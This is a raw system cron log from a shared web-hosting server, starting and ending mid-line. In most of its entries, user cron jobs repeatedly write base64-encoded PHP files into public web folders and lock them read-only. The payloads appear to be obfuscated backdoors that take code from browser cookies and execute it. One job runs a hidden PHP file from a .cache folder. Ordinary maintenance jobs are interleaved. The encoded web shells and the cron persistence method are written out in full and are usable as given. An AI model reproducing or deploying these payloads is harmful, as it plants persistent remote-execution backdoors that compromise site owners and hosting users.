F93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:01:01 medusa run-parts(/etc/cron.hourly)[22756]: starting 0anacron
Mar  2 14:01:01 medusa run-parts(/etc/cron.hourly)[22817]: finished 0anacron
Mar  2 14:02:01 medusa CROND[5755]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:02:01 medusa CROND[5756]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:02:01 medusa CROND[5758]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:02:01 medusa CROND[5757]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:02:01 medusa CROND[5759]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:02:01 medusa CROND[5760]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:02:01 medusa CROND[5761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:02:01 medusa CROND[5762]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:02:01 medusa CROND[5779]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:02:01 medusa CROND[5780]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:02:01 medusa CROND[5782]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:02:01 medusa CROND[5777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:02:01 medusa CROND[5774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:03:01 medusa CROND[25235]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:03:01 medusa CROND[25236]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:03:01 medusa CROND[25238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:03:01 medusa CROND[25237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:03:01 medusa CROND[25239]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:03:01 medusa CROND[25240]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:03:01 medusa CROND[25241]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:03:01 medusa CROND[25243]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:03:01 medusa CROND[25242]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:03:01 medusa CROND[25246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:03:01 medusa CROND[25245]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:03:01 medusa CROND[25257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:04:01 medusa CROND[7688]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ